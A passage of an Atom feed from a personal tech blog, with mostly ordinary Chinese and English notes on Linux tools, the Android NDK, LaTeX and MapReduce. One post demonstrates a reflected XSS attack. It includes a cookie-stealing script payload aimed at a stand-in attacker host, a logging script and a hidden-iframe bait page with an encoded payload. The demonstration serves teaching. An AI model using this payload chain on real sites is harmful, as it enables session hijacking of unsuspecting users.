    <li><a href="http://www.mikeash.com/pyblog/friday-qa-2011-02-18-compound-literals.html">http://www.mikeash.com/pyblog/friday-qa-2011-02-18-compound-literals.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Android NDK r7的awk错误</title>
        <link href="http://blog.cykerway.com/post/452" />
        <id>http://blog.cykerway.com/post/452</id>
        <updated>2011-12-18T02:23:55Z</updated>
        <content type="html"><![CDATA[<p>ndk-build之后出来这么一坨：</p>

<pre class="brush:bash">
/opt/android-ndk/prebuilt/linux-x86/bin/awk: /opt/android-ndk/prebuilt/linux-x86/bin/awk: cannot execute binary file
Android NDK: Host &apos;awk&apos; tool is outdated. Please define HOST_AWK to point to Gawk or Nawk !
/opt/android-ndk/build/core/init.mk:258: *** Android NDK: Aborting.    .  Stop.
</pre>

<p>按照提示设置HOST_AWK也不行。无奈file了一下那个出问题的awk发现居然是64位的……这……</p>

<p>解决方法是把那个出问题的awk删掉或改名，然后就会用系统里的了：</p>

<pre class="brush:bash">
cd /opt/android-ndk/prebuilt/linux-x86/bin
mv awk awk_
</pre>]]></content>
    </entry>
    <entry>
        <title>Cross compiler for Android</title>
        <link href="http://blog.cykerway.com/post/451" />
        <id>http://blog.cykerway.com/post/451</id>
        <updated>2011-12-17T05:23:26Z</updated>
        <content type="html"><![CDATA[<p>弄toolchain真费劲，最后发现还是NDK里的好用。目前用的NDK是r7-1版本，也许将来还会有变。</p>

<p>安装Android-NDK：</p>

<pre class="brush:bash">
yaourt -S android-ndk
</pre>

<p>设置环境变量：</p>

<pre class="brush:bash">
PATH=$PATH:/opt/android-ndk/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin
</pre>

<p>为简单起见建了个Bash脚本命名为aadb，内容为:</p>

<pre class="brush:bash">
#!/bin/bash

arm-linux-androideabi-gcc --sysroot /opt/android-ndk/platforms/android-4/arch-arm -fPIC -mandroid -DANDROID -DOS_ANDROID &quot;$@&quot;
</pre>

<p>弄个helloworld.c试一下：</p>

<pre class="brush:c">
#include &lt;stdio.h&gt;

int main()
{
    printf(&quot;Hello, world!\n&quot;);
    return 0;
}
</pre>

<p>编译，放进Android：</p>

<pre class="brush:bash">
agcc -o helloworld helloworld.c
adb push helloworld /system/bin
</pre>

<p>在Android shell里面：</p>

<pre class="brush:bash">
helloworld
</pre>

<p>输出：</p>

<pre class="brush:bash">
Hello, World!
</pre>

<p>成功了……</p>

<p>Update. 在/opt/android-ndk/docs/STANDALONE-TOOLCHAIN.html看见更专业的玩法应该是建立一个独立工具链，方法是：</p>

<pre class="brush:bash">
/opt/android-ndk/build/tools/make-standalone-toolchain.sh --platform=android-4 --install-dir=/tmp/my-android-toolchain
</pre>

<p>sysroot会自动设置好。用的时候这样就行了：</p>

<pre class="brush:bash">
export PATH=/tmp/my-android-toolchain/bin:$PATH
export CC=arm-linux-androideabi-gcc
</pre>

<p>Links:</p>

<ul>
    <li><a href="http://my.opera.com/otaku_2r/blog/build-and-run-c-application-on-android">http://my.opera.com/otaku_2r/blog/build-and-run-c-application-on-android</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Find hard links</title>
        <link href="http://blog.cykerway.com/post/450" />
        <id>http://blog.cykerway.com/post/450</id>
        <updated>2011-12-16T23:11:22Z</updated>
        <content type="html"><![CDATA[<p>Find all hard links to a.txt in current directory:</p>

<pre class="brush:bash">
find -xdev -samefile a.txt
</pre>

<p>Display the inode number of a.txt:</p>

<pre class="brush:bash">
ls -i a.txt
</pre>

<p>Find all files (mutual hard links) with the same inode number 2000 in current directory:</p>

<pre class="brush:bash">
find -xdev -inum 2000
</pre>

<p>-xdev means not descending directories on other filesystems. Omit it if you&apos;re sure the operation is performed on a single filesystem.</p>

<p>Links:</p>

<ul>
    <li><a href="http://linuxcommando.blogspot.com/2008/09/how-to-find-and-delete-all-hard-links.html">http://linuxcommando.blogspot.com/2008/09/how-to-find-and-delete-all-hard-links.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>贴片元件的焊接</title>
        <link href="http://blog.cykerway.com/post/449" />
        <id>http://blog.cykerway.com/post/449</id>
        <updated>2011-12-15T20:33:48Z</updated>
        <content type="html"><![CDATA[<p>看完<a href="/uploads/20111215/SMD_Soldering.pdf">这个</a>，想想当年玩电子元件焊接的设备真是不齐全，不专业啊。</p>

<p>另附吸锡线使用方法图示：<a href="http://mtoou.info/xixixian-syff/">http://mtoou.info/xixixian-syff/</a></p>]]></content>
    </entry>
    <entry>
        <title>dnsmasq设置</title>
        <link href="http://blog.cykerway.com/post/448" />
        <id>http://blog.cykerway.com/post/448</id>
        <updated>2011-12-11T05:58:03Z</updated>
        <content type="html"><![CDATA[<p>某设备好像保存静态IP设置有点问题于是索性DHCP了，用dnsmasq顺带加速一下DNS查询好了。照Wiki上的编辑/etc/dnsmasq.conf如下</p>

<pre class="brush:bash">
interface=wlan0 #提供服务的interface
bind-interfaces #绑定到具体interface而不是*
dhcp-range=192.168.111.50,192.168.111.100,12h #DHCP IP range
dhcp-host=aa:bb:cc:dd:ee:ff,192.168.111.50 #设置静态IP-MAC绑定
</pre>

<p>然后到/etc/resolv.conf把第一个nameserver设置成127.0.0.1就行了。真简单。</p>]]></content>
    </entry>
    <entry>
        <title>A simple XSS illustration</title>
        <link href="http://blog.cykerway.com/post/447" />
        <id>http://blog.cykerway.com/post/447</id>
        <updated>2011-12-11T01:13:17Z</updated>
        <content type="html"><![CDATA[<p>Just wondering about how powerful XSS can be and how to utilize it gracefully, I decide to implement a simple XSS attack scheme.</p>

<p>First, make an insecure site, say a search engine:</p>

<pre class="brush:php">
&lt;?php
//setcookie(&apos;username&apos;, &apos;Bob Smith&apos;);
//setcookie(&apos;country&apos;, &apos;United States&apos;);
    function get_cookie()
    {
        if (empty($_COOKIE))
            return &apos;No cookie&apos;;

        $result = &apos;&apos;;
        foreach ($_COOKIE as $key =&gt; $value)
            $result = $result.$key.&apos;=&apos;.$value.&apos;,&apos;;
        return $result;
    }

    function get_query()
    {
        if (isset($_GET[&apos;query&apos;]))
            return $_GET[&apos;query&apos;];
        else
            return &apos;No query&apos;;
    }
?&gt;
&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;A Weak Search Engine&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;p&gt;Cookie: &lt;span id=&quot;cookie&quot;&gt;&lt;?php echo get_cookie();?&gt;&lt;/span&gt;&lt;/p&gt;
        &lt;p&gt;Search Query: &lt;span id=&quot;query&quot;&gt;&lt;?php echo get_query();?&gt;&lt;/span&gt;&lt;/p&gt;
    &lt;/body&gt;
&lt;/html&gt;
</pre>

<p>This search engine will show cookies (to facilitate visualization) and the search query (but no search results...). That&apos;s a reasonable setting.</p>

<p>Why is this search engine insecure? Because it doesn&apos;t filter the search query but directly displays it on the response page. Now we&apos;ll utilize it. Without loss of generality, we let the domain of it be search.example.com.</p>

<p>Now a malicious user can maintain a website mallory.example.com. On this site she has a PHP script steal.php:</p>

<pre class="brush:php">
&lt;?php
    $fp = fopen(&apos;/tmp/mallory.txt&apos;, &apos;w&apos;);
    fwrite($fp, $_GET[&apos;cookie&apos;]);
    fclose($fp);

    $im = file_get_contents(&apos;/tmp/im.png&apos;);
    header(&apos;content-type: image/png&apos;);
    echo $im; 
?&gt;
</pre>

<p>steal.php will record the &apos;cookie&apos; parameter permanently and returns an image.</p>

<p>The use of steal.php will be obvious when we introduce the search query:</p>

<pre class="brush:html">
newest laptop&lt;script type=&quot;text/javascript&quot;&gt;var i = document.createElement(&apos;img&apos;);i.src = &apos;http://mallory.example.com/steal.php?cookie=&apos;+document.cookie;&lt;/script&gt;
</pre>

<p>We use the img tag because it can cross domain. If a logged-in user has ever made such a search query, then his cookies will be stolen.</p>

<p>How to entice the user to make such a query? By embedding the link inside a hidden iframe. We can make a very innocent page containing a hidden iframe. No need to use client-side script. So the same origin policy for iframe doesn&apos;t help. As soon as the user activates the iframe by visiting the containing page, his cookies get stolen.</p>

<p>The enticing page is called bait.html, which can reside on any server (not necessary to be search.example.com or mallory.example.com).</p>

<pre class="brush:html">
&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;An innocent page&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;p&gt;This page looks very innocent, isn&apos;t it?&lt;/p&gt;
        &lt;iframe style=&quot;display:none;&quot; src=&quot;http://search.example.com/?query=%6E%65%77%65%73%74%20%6C%61%70%74%6F%70%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%69%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%69%6D%67%27%29%3B%69%2E%73%72%63%20%3D%20%27%68%74%74%70%3A%2F%2F%6D%61%6C%6C%6F%72%79%2E%65%78%61%6D%70%6C%65%2E%63%6F%6D%2F%73%74%65%61%6C%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E&quot;&gt;&lt;/iframe&gt;
    &lt;/body&gt;
&lt;/html&gt;
</pre>

<p>The search query is encoded so that it won&apos;t be too obvious that someone is doing bad even the source code is viewed.</p>

<p>The whole attack goes as follows. Mallory will spread the page bait.html. If a user Bob, who has ever logged in search.example.com, visits bait.html, he will activate the hidden iframe. Thereby he sends the malicious query to search.example.com and leaks his cookies. And what&apos;s even worse, he won&apos;t notice this on page bait.html.</p>

<p>This is a traditional nonpermanent/reflected XSS attack (because the target website reflects the malicious query).</p>

<p>The conclusion is that XSS attack is very flexible and can be conducted in three steps. First, find a vulnerable page on the target website. Second, make a malicious query. Third, hide the malicious query inside an innocent-looking page and widely spread it (via email, forums, etc.). Actually the third step looks more like CSRF, or more precisely described as CSRF is used to help XSS. If you have better ways to lure the victim to send the malicious query, then the first two steps suffice.</p>

<p>The related code is provided: <a href="/uploads/20111211/xss.tar.gz">XSS package</a></p>]]></content>
    </entry>
    <entry>
        <title>SOPA: Silicon Valley vs Hollywood</title>
        <link href="http://blog.cykerway.com/post/446" />
        <id>http://blog.cykerway.com/post/446</id>
        <updated>2011-12-06T23:33:14Z</updated>
        <content type="html"><![CDATA[<p>台湾媒体做的85秒了解SOPA动画，太有趣了~</p>

<p><iframe width="632" height="351" src="http://www.youtube.com/embed/jJZaajaGI9U" frameborder="0" allowfullscreen></iframe></p>

<p>矽谷可以動員鄉民！鄉民！</p>]]></content>
    </entry>
    <entry>
        <title>LaTeX page layout lengths</title>
        <link href="http://blog.cykerway.com/post/445" />
        <id>http://blog.cykerway.com/post/445</id>
        <updated>2011-12-06T07:19:15Z</updated>
        <content type="html"><![CDATA[<p>眼花缭乱。这两张图好。</p>

<p><a href="http://amath.colorado.edu/documentation/LaTeX/reference/layout.html"><img src="http://amath.colorado.edu/documentation/LaTeX/reference/layout.gif" alt="layout.gif" /></a></p>

<p><a href="http://en.wikibooks.org/wiki/LaTeX/Page_Layout"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/a/ad/Latex_layout.svg/500px-Latex_layout.svg.png" alt="500px-Latex_layout.svg.png" /></a></p>

<p>其他的间距还有（所有间距都是累加）：</p>

<ul>
    <li>\parskip - 段间距，以及段和list之间的间距</li>
</ul>

<p>另外还有些在list里用的：</p>

<ul>
    <li>\parsep - list内的段间距</li>
    <li>\itemsep - item之间的间距</li>
    <li>\topsep - list上下的间距</li>
    <li>\partopsep - list单独成段时上下的间距</li>
</ul>

<p>Links:</p>

<ul>
    <li><a href="http://amath.colorado.edu/documentation/LaTeX/reference/layout.html">http://amath.colorado.edu/documentation/LaTeX/reference/layout.html</a></li>
    <li><a href="http://en.wikibooks.org/wiki/LaTeX/Page_Layout">http://en.wikibooks.org/wiki/LaTeX/Page_Layout</a></li>
    <li><a href="http://www.troubleshooters.com/linux/lyx/ownlists.htm">http://www.troubleshooters.com/linux/lyx/ownlists.htm</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Top 10 CS Department Alumni Matrix</title>
        <link href="http://blog.cykerway.com/post/444" />
        <id>http://blog.cykerway.com/post/444</id>
        <updated>2011-12-04T03:24:00Z</updated>
        <content type="html"><![CDATA[<p>在地里看见了这玩意儿，不知道是哪年弄的。大致可以看出米国Top 10的CS Department里的人都是哪儿来的。</p>

<p>Links:</p>

<ul>
    <li><a href="http://pages.cs.wisc.edu/%7Eestan/alumnistatistics/Alumni_matrix.html">http://pages.cs.wisc.edu/%7Eestan/alumnistatistics/Alumni_matrix.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>dual-monitor configuration</title>
        <link href="http://blog.cykerway.com/post/443" />
        <id>http://blog.cykerway.com/post/443</id>
        <updated>2011-11-28T22:50:41Z</updated>
        <content type="html"><![CDATA[<p>这个小屏写code实在是太不爽了，只好再弄一个显示器。折腾了半天，还算满意。</p>

<p>因为用N卡，所以有TwinView这个东西。通俗说，TwinView就是显卡把两个显示器合成一个，X只会看到一个screen。还有一个通用的方案Xinerama，是把几个X screen拼成一个大的virtual screen。一般来说TwinView比Xinerama好一些，因为在TwinView里这活是显卡做的，对OpenGL的支持好些。</p>

<p>但是这两种方法都是弄一个大的screen出来，有一点不好的是我两块屏不一样大，设置墙纸比较烦。于是干脆弄了两个screen（用N卡有nvidia-settings可以用啊），在xorg.conf里用ServerLayout并排放，然后.xinitrc里开两个WM分别负责不同的screen。这样鼠标还是可以穿两块屏，但是不能互拖窗口。</p>

<p>另外这样还有一个问题是system tray的notification就麻烦了，因为DISPLAY环境变量的screen number不一样。可是又没办法把一个程序的功能部分和托盘部分拆开（程序又不是我写的），比较囧……</p>

<p>嗯，墙纸真是麻烦。要不我按照两块屏的分辨率粘一个大墙纸出来？这也太蛋疼了。</p>

<p>最近杂事多，暂时搁置……</p>]]></content>
    </entry>
    <entry>
        <title>Classification of Window Managers</title>
        <link href="http://blog.cykerway.com/post/442" />
        <id>http://blog.cykerway.com/post/442</id>
        <updated>2011-11-28T16:37:27Z</updated>
        <content type="html"><![CDATA[<p>以前一直非常奇怪compositing window manager是咋定义的。今天上Wiki看了一下真是大跌眼镜。</p>

<p>WM可以分三类：tiling/stacking/compositing：</p>

<ul>
    <li>Tiling：窗口只能平铺不能重叠。最弱。</li>
    <li>Stacking：窗口可以堆叠，但各个窗口直接在屏幕上画自己的区域。用painter&apos;s algorithm，底层的先画，这样相交区域最后就是最顶层的窗口了。较弱。</li>
    <li>Compositing：窗口可以堆叠，还可以有各种特效。各个窗口不是直接画屏幕，而是写入自己的buffer，再由compositing window manager统一到framebuffer里，中间还可以加入特效。最强。</li>
</ul>

<p>就这么简单的一个分类，还以为有啥技术含量呢。想起小时候学的局域网，城域网和广域网的定义了。</p>

<p>Links:</p>

<ul>
    <li><a href="http://en.wikipedia.org/wiki/Window_manager">http://en.wikipedia.org/wiki/Window_manager</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>ReactOS</title>
        <link href="http://blog.cykerway.com/post/441" />
        <id>http://blog.cykerway.com/post/441</id>
        <updated>2011-11-26T02:27:46Z</updated>
        <content type="html"><![CDATA[<p>这玩意儿是要当Windows毁灭者么？貌似已经开发10多年了。</p>

<p>提供ISO镜像安装，不大，几十M而已。VirtualBox下实验发现安装很快。界面看上去还是有点挫，但总归已经非常像Windows了。</p>

<p>有人愿意重新实现API这怎么办？算侵权么？</p>

<p>这些开源项目都哪儿搞的经费……</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.reactos.org/en/index.html">http://www.reactos.org/en/index.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Hot OS switching</title>
        <link href="http://blog.cykerway.com/post/440" />
        <id>http://blog.cykerway.com/post/440</id>
        <updated>2011-11-26T01:12:50Z</updated>
        <content type="html"><![CDATA[<p>我觉得这个功能挺有用的呀。比如我在Linux下面有个.pptx打不开，想到Windows下面去看。或者写程序写烦了想玩游戏了玩完游戏又要回来写程序，不可能总是重新启动吧。</p>

<p>不过这东西是商业产品，不知道是怎么实现的。难道是dump CPU和memory的状态么？求指教。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.alwaysinnovating.com/products/aios.htm">http://www.alwaysinnovating.com/products/aios.htm</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Thank You Letter from Wikipedia</title>
        <link href="http://blog.cykerway.com/post/439" />
        <id>http://blog.cykerway.com/post/439</id>
        <updated>2011-11-18T16:48:17Z</updated>
        <content type="html"><![CDATA[<p>除了regular courses， 主要的knowledge source就数Wikipedia了。方才看到Jimmy Wales又出来要钱了，想一想还是捐了一些。</p>

<p>为啥要想一想？首先我不是高帅富，花钱还是要算计的。而且我不捐这一点也未必就不能正常使用Wiki。从个人利益的角度上看，如果捐款和不捐款能够享受相同的服务，为什么要产生这笔支出呢？</p>

<p>按照这个逻辑来看，捐款的行为简直是要遭鄙视了。不捐款的人大可以以成功者自居，因为产出一样，没成本，净利润大嘛。</p>

<p>但显然又不能否认的是，如果所有人都不捐款，那Wikipedia能不能开下去就是一个问题了。</p>

<p>这非常巧妙。如果每个人都做对自己最有利的选择，最后的结果是一起毁灭（Wikipedia关门了）。但如果有人不做对自己有利的选择，那只有这些人毁灭（破产，或者至少是花自己的钱养活别人）。</p>

<p>简单说，就是谁想让全局结果变得更好，反而会把自己变得更糟。</p>

<p>这是一个无处不在的神奇逻辑。强盗（流氓？）总是战无不胜。这个算智慧还是愚蠢呢？</p>

<blockquote>

<p>Dear XXX,</p>

<p>You are amazing, thank you so much for donating to the Wikimedia Foundation!</p>

<p>This is how we pay our bills -- it&apos;s people like you, giving five dollars, twenty dollars, a hundred dollars. My favourite donation last year was five pounds from a little girl in England, who had persuaded her parents to let her donate her allowance. It&apos;s people like you, joining with that girl, who make it possible for Wikipedia to continue providing free, easy access to unbiased information, for everyone around the world. For everyone who helps pay for it, and for those who can&apos;t afford to help. Thank you so much.</p>

<p>I know it&apos;s easy to ignore our appeals, and I&apos;m glad that you didn&apos;t. From me, and from the tens of thousands of volunteers who write Wikipedia: thank you for helping us make the world a better place. We will use your money carefully, and I thank you for your trust in us.</p>

<p>Thanks,</p>

<p>Sue Gardner</p>
<p>Wikimedia Foundation Executive Director</p>

</blockquote>

<p>目前我的逻辑是：虽然Wikipedia可以免费给我提供服务，但是我觉得Wikipedia给我提供的服务值这些钱。再者，行善这件事，不能期望一个人做很多。每个人做一点的贡献可能更大。</p>]]></content>
    </entry>
    <entry>
        <title>JavaScript同源策略</title>
        <link href="http://blog.cykerway.com/post/438" />
        <id>http://blog.cykerway.com/post/438</id>
        <updated>2011-11-16T12:56:11Z</updated>
        <content type="html"><![CDATA[<p>同源策略即same origin policy，其中origin = (protocol, host, port)。同源策略可以防止一个源的页面对另一个源的页面造成破坏（窃取数据或修改内容）。</p>

<p>但同源策略使得页面间访问不够灵活。规避同源策略从而实现跨域访问的一种方法是修改document.domain。基于安全性考虑，只允许将document.domain修改为当前值的一个后缀（高层域名），且不能是顶级域名。例如从foo.example.com修改为example.com是合法的，但修改为bar.example.com或com就不合法。</p>

<p>所以这种方法只适合于在有公共祖先的两个域之间跨域，例如foo.example.com和bar.example.com，或者example.com和bar.example.com。以后者为例。假设页面http://example.com/iframe/index.html包含了地址为http://bar.example.com/iframe/iframe.html的iframe。那么在两个页面中分别设置</p>

<pre class="brush:javascript">
document.domain = &apos;example.com&apos;;
</pre>

<p>即可实现跨域。虽然在这里example.com是bar.example.com的后缀，也必须设置一下document.domain（哪怕是用document.domain = document.domain也可以），这表示example.com有跨域的意向（具体浏览器实现中修改port为null）。一个域必须表现出跨域的意向才可以跨域，以避免随便被其子域跨域。</p>

<p>还有一些跨域的方法，比如JSONP，利用JavaScript没有同源策略这个特点，得到服务器端动态生成的JavaScript代码。再比如ABA式的iframe嵌套，利用最内层的JavaScript代码控制最外层的页面（二者同源嘛），原理都差不多。但这些也都是hack罢了。HTML5里有标准的跨域通信方法postMessage，以后肯定是主流了。</p>

<p>Links:</p>

<ul>
    <li><a href="https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript">https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript</a></li>
    <li><a href="https://developer.mozilla.org/en/DOM/document.domain">https://developer.mozilla.org/en/DOM/document.domain</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>BJAP</title>
        <link href="http://blog.cykerway.com/post/437" />
        <id>http://blog.cykerway.com/post/437</id>
        <updated>2011-11-16T09:25:59Z</updated>
        <content type="html"><![CDATA[<p>帝都的空气已经糟成一坨SHI了，每天早上起床之后有必要了解一下过去24小时内的AQI走向。嗯，不只是早上起床，而是随时都需要知道。所以就写了BJAP。</p>

<p>用crontab一小时run一次就可以了，生成静态图片。</p>

<p><a href="/uploads/20111116/bjap.png"><img src="/uploads/20111116/bjap-tn.png" alt="bjap.png" /></a></p>

<p>Links:</p>

<ul>
    <li><a href="https://github.com/cykerway/bjap">https://github.com/cykerway/bjap</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>移除GMail新外观提示</title>
        <link href="http://blog.cykerway.com/post/436" />
        <id>http://blog.cykerway.com/post/436</id>
        <updated>2011-11-14T17:40:51Z</updated>
        <content type="html"><![CDATA[<p>GMail右下角的小黑条真烦。Firebug看一下，用Adblock Plus搞定。过滤规则为：</p>

<pre class="brush:css">
mail.google.com##div[class=&quot;w-asK w-atd&quot;]
</pre>

<p>不过这样一来其他class为w-asK和w-atd的条目也看不见了，也许有用呢？</p>

<p>Update. Adblock Plus这个方法好像只是把小黑条隐藏了，还是会阻碍快捷键使用。还是老老实实写了个Greasemonkey脚本，点击置底链接即可安装。</p>

<p>Links:</p>

<ul>
    <li><a href="http://userscripts.org/scripts/source/118039.user.js">http://userscripts.org/scripts/source/118039.user.js</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>MapReduce浅析</title>
        <link href="http://blog.cykerway.com/post/435" />
        <id>http://blog.cykerway.com/post/435</id>
        <updated>2011-11-11T16:35:44Z</updated>
        <content type="html"><![CDATA[<p>时隔多日又把MapReduce这篇paper看了一遍，发现用过Python的map和reduce之后再看真是恍然大悟啊（各位Lisp/Haskell/Erlang帝就不要BS我了……）</p>

<p>这篇paper虽然有十几页，但组织地非常连贯清晰，一个小时就能看完。它讲的就是怎么把一个大规模计算任务分配到一群小计算机上来并行地算。基本动作只有两个：map和reduce。</p>

<p>啥叫map？下面这个程序就是map：</p>

<pre class="brush:python">
#!/usr/bin/python2

a = [1, 2, 3, 4, 5]
m = lambda x : x * x
l = map(m, a)

print list(l)

Output:
[1, 4, 9, 16, 25]
</pre>

<p>啥叫reduce？下面这个程序就是reduce：</p>

<pre class="brush:python">
#!/usr/bin/python2

a = [1, 2, 3, 4, 5]
r = lambda x, y : x + y
s = reduce(r, a)

print s

Output:
15
</pre>

<p>知道了这两个简单的概念，MapReduce的过程就可以用以下两个式子来说明：</p>

<p>
\[
    \text{map: } (k1, v1) \rightarrow list(k2, v2)
\]
\[
    \text{reduce: } (k2, list(v2)) \rightarrow list(v2)
\]
</p>

<p>也就是说，map是把输入分解为一系列的key-value pair，然后有相同key的key-value pair被合并之后形成(k2, list(v2))，交给reduce形成最终的输出。</p>

<p>Note. 其实我觉得最初的k1和最后的list(v2)不太好理解，不如写成（仅个人看法）：</p>

\[
    \text{map: } input \rightarrow list(k2, v2)
\]
\[
    \text{reduce: } (k2, list(v2)) \rightarrow (k2, result)
\]

<p>好处是啥呢？是map和reduce分别可以并行。有一个master节点负责统一规划，它先把输入分割成若干块，交给不同的map workers进行map。在map的时候形成的key-value pair会按照一个关于key的划分函数（类似于hash(key)）决定由哪个reduce worker进行reduce。map完毕之后reduce workers从map workers那里取得中间结果，sort一下，然后进行reduce。由于不同的reduce workers负责不同的key(指k2)，所以reduce也是可以并行的。</p>

<p>作为最终用户，完全不必care分布式计算的细节，例如fault-tolerance, locality什么的，这些都隐含在MapReduce里面了。最终用户只需要实现map和reduce这两个函数就可以了。而MapReduce的最神奇之处就在于作者意识到多数任务都可以利用map+reduce的方式来实现。</p>

<p>举例说，词频统计的map和reduce就可以这样写：</p>

<pre class="brush:python">
map(String key, String value): 
    // key: document name 
    // value: document contents 
    for each word w in value: 
        EmitIntermediate(w, &quot;1&quot;); 

reduce(String key, Iterator values): 
    // key: a word 
    // values: a list of counts 
    int result = 0; 
    for each v in values: 
        result += ParseInt(v); 
    Emit(AsString(result)); 
</pre>

<p>map把整个文本拆成了一个个键值对&lt;word, 1&gt;，然后reduce按照word把这些1一个一个加起来，就这么简单。当然你要说这么一个一个加的话reduce workers到map workers那里去取数据的过程不是很浪费带宽？这作者也有考虑到，可以指定一个combiner函数在map到reduce中间先部分合并一下。combiner和reduce基本就是一样的，只是输出行为不同。</p>

<p>还有一些其他的优化就不说了，中文翻译总不如original好，何况我还是个菜。</p>

<p>Links:</p>

<ul>
    <li><a href="http://labs.google.com/papers/mapreduce-osdi04.pdf">http://labs.google.com/papers/mapreduce-osdi04.pdf</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>pianobarfly</title>
        <link href="http://blog.cykerway.com/post/434" />
        <id>http://blog.cykerway.com/post/434</id>
        <updated>2011-11-07T12:49:45Z</updated>
        <content type="html"><![CDATA[<p>pandora.com的电台音乐如果能保存到本地听就好了。Windows下有StationRipper这种东西，想想看Linux下也应该有人会弄一个出来吧。</p>

<p>于是就找到一个pianobar，是pandora.com的终端界面。有一个进化版pianobarfly，加入了录音功能。界面有点糙，但用着还挺顺手的。可以用~/.config/pianobarfly/config配置文件指定录音的格式、文件命名方式等等。如果一首歌播放到中间ban了或者skip了，已经录制下的部分还会自动删除。</p>

<p>Links:</p>

<ul>
    <li><a href="https://github.com/ghuntley/pianobarfly">https://github.com/ghuntley/pianobarfly</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>贱贱的Google重定向</title>
        <link href="http://blog.cykerway.com/post/432" />
        <id>http://blog.cykerway.com/post/432</id>
        <updated>2011-10-30T22:03:45Z</updated>
        <content type="html"><![CDATA[<p>Google搜索结果里的链接不是真实地址而是重定向这个问题很纠结的说，每次复制下来都是一坨乱糟糟的。虽然说下面的绿字是真实地址，可是用鼠标精确地拖到想要的位置可比单击一下费事多了。而且绿字有时候还不全，没法用。</p>

<p>这个特性虽然方便了搜索引擎对用户点击的统计，但从用户的角度来看实在是太贱了。你把鼠标移上去看看状态栏，咦，是原始地址。右击复制，咦，就变成了一坨重定向。</p>

<p>这个特性是怎么实现的呢？根据谷奥的文章，是在链接上用了onmousedown。你不点，它就是最开始载入时的原始地址；你一点，它就变成重定向了。我把实现简化了一下，但原理没有变：</p>

<pre class="brush:html">
&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;Google or Baidu&lt;/title&gt;
        &lt;script type=&quot;text/javascript&quot;&gt;
            function rwt(a) {
                a.href=&quot;http://www.baidu.com/&quot;;
            }
        &lt;/script&gt;
    &lt;/head&gt;
    &lt;body bgcolor=&quot;white&quot;&gt;
        &lt;a href=&quot;http://www.google.com/&quot; onmouseup=&quot;rwt(this)&quot;&gt;Google or Baidu&lt;/a&gt;
    &lt;/body&gt;
&lt;/html&gt;
</pre>

<p>把鼠标放上去看状态栏是Google，一点就跑到Baidu上去了。</p>

<p>这就好办了。我们Pentadactyl党是不吃这个的。用;y轻松搞定。</p>

<p>党外人士如果用Firefox可以用Greasemonkey插件Google Anonymizer搞定：<a href="http://userscripts.org/scripts/show/10448">http://userscripts.org/scripts/show/10448</a>。Chrome上按理说也行吧，我没试过。</p>

<p>最后发点牢骚，Google就没想过用onmouseup代替onmousedown么？如果用onmouseup的话可以复制原地址的链接：在链接上按住鼠标右键不动，拖到Copy Link Location就可以了。只要不抬起鼠标右键，就不会触发onmouseup事件。当然，只能用一次。不过一旦复制好就一直在剪贴板里了，一般来说也不需要复制很多次。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.guao.hk/posts/how-to-remove-google-serp-redirecors.html">http://www.guao.hk/posts/how-to-remove-google-serp-redirecors.html</a></li>
    <li><a href="http://www.guao.hk/posts/google-search-using-javascript-faking-click-tracking.html">http://www.guao.hk/posts/google-search-using-javascript-faking-click-tracking.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Linux font preview</title>
        <link href="http://blog.cykerway.com/post/431" />
        <id>http://blog.cykerway.com/post/431</id>
        <updated>2011-10-30T18:18:48Z</updated>
        <content type="html"><![CDATA[<p>想快速查看各个字体的显示效果怎么搞？找个font previewer！</p>

<p>其实我还是觉得gnome-specimen好。虽然不能打开额外的字体文件，但只需要上下箭头外加回车就能完成字体选择和对比。评测的作者为什么非得用鼠标点呢？</p>

<p>Links:</p>

<ul>
    <li><a href="http://cweiske.de/tagebuch/Linux%20font%20preview%20applications.htm">http://cweiske.de/tagebuch/Linux%20font%20preview%20applications.htm</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Nokia OLED Phone: Control by Bending</title>
        <link href="http://blog.cykerway.com/post/430" />
        <id>http://blog.cykerway.com/post/430</id>
        <updated>2011-10-30T18:01:16Z</updated>
        <content type="html"><![CDATA[<p><iframe width="632" height="351" src="http://www.youtube.com/embed/QsbZOKahdMw" frameborder="0" allowfullscreen></iframe></p>

<p>电子产品简单粗暴一点总是好的，一掰就碎什么的最讨厌了。期待这东西可以在平板上出现。</p>]]></content>
    </entry>
    <entry>
        <title>Plus One Button</title>
        <link href="http://blog.cykerway.com/post/429" />
        <id>http://blog.cykerway.com/post/429</id>
        <updated>2011-10-30T16:31:06Z</updated>
